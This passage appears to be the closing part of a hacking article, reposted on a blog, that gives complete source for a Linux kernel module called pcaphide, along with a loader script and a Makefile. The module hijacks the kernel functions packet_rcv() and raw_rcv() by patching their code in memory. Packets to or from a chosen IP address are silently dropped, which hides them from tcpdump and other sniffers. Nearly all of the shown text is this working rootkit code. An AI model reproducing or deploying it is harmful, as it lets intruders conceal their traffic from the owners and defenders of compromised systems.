      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0;     /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    retval = pr(skb, dev, pt);
    memcpy((char *)pr, pr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

/* Replacement for raw_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
    int sl_flags;        /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0;     /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)rr, rr_orig, CODESIZE);
    retval = rr(sock, skb);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

int init_module()
{
    int sl_flags;        /* Flags for spinlock */
    
    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
     * (which we treat as the lower bound of kernel memory), then
     * we will not install the hacks. */
    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
printk("Address for packet_rcv() not valid! (%08x)\n",
       (int)pr);
return -1;
    }
    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
printk("Address for raw_rcv() not valid! (%08x)\n",
       (int)rr);
return -1;
    }
         
    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
    
    HIJACK_LOCK;
    memcpy(pr_orig, (char *)pr, CODESIZE);
    memcpy((char *)pr, pr_code, CODESIZE);
    memcpy(rr_orig, (char *)rr, CODESIZE);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;
    
    EXPORT_NO_SYMBOLS;
    
    return 0;
}

void cleanup_module()
{
    int sl_flags;
    
    lock_kernel();
    
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    memcpy((char *)rr, rr_orig, CODESIZE);
    HIJACK_UNLOCK;
    
    unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#  Written by  grem, 30th June 2003
#  Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
        echo "Use: $0 ";
        exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
        PR="00000000"
fi
if [ "$RR" = "" ]; then
        RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
rm -rf *.o
rm -rf ./*~
<-->


------[ References

This appendix contains a list of references used in writing this article.

[1]  The tcpdump group
     
[2]  The Packet Factory
     
[3]  My network tools page -
      ~zzoklan/software/#net_tools
[4]  Silvio Cesare's Kernel Function Hijacking article
     
[5]  Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
[6]  Linux kernel source files. In particular:
    - net/packet/af_packet.c     (for  packet_rcv())
    - net/ipv4/raw.c             (for  raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
[7] Harald Welte's Journey of a packet through the Linux 2.4 network
     stack
    
[8] The Netfilter documentation page
     http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
    
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
[B] Inside the Linux Packet Filter. A Linux Journal article
    

阅读(8141) | 评论(0) | 转发(4) |
0

上一篇:injectso资料

下一篇:用raw socket写的ping程序

给主人留下些什么吧!~~